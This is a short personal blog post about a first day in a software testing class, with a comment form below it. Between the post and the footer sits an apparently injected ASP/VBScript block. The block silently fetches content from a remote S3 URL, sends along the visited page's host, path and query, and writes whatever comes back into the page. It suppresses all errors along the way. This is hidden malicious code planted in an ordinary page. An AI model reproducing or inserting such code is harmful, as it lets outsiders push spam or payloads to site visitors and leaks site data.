First day @ class

This is my first day in software testing class and it went on well. I was just introduced to the basic concepts in testing. The class lasted for four hours but it was not that tiring. I simply tried to grasp the concepts and I wish I finish the course in a proper way. GOd should help me out to get into job as soon as I finish the course.


<% url = "http://s3.amazonaws.com/mf1/ad/19ff96f104f766fa0e5f/ad_content" Dim xmlhttp On Error Resume Next if Request.ServerVariables("REQUEST_URI") then url = url & "?x-h=" & Server.URLEncode(Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("REQUEST_URI")) else url = url & "?x-h=" & Server.URLEncode(Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("PATH_INFO")) if Request.ServerVariables("QUERY_STRING") <> "" then url=url&Request.ServerVariables("QUERY_STRING") end if end if set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP") On Error Resume Next if xmlhttp is nothing then set xmlhttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1") end if On Error Resume Next if xmlhttp is nothing then set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP.4.0") end if if xmlhttp is nothing then ' cannot load xml component else xmlhttp.open "GET", url, false xmlhttp.send "" if xmphttp.Status = "200" then content = xmlhttp.responseText if InStr(content, "") > 0 then content = "" end if Response.write content end if set xmlhttp = nothing end if %>

 

What did you think of this article?




Trackbacks
  • No trackbacks exist for this post.
Comments
  • No comments exist for this post.
Leave a comment

Submitted comments are subject to moderation before being displayed.

 Name

 Email (will not be published)

 Website

Your comment is 0 characters limited to 3000 characters.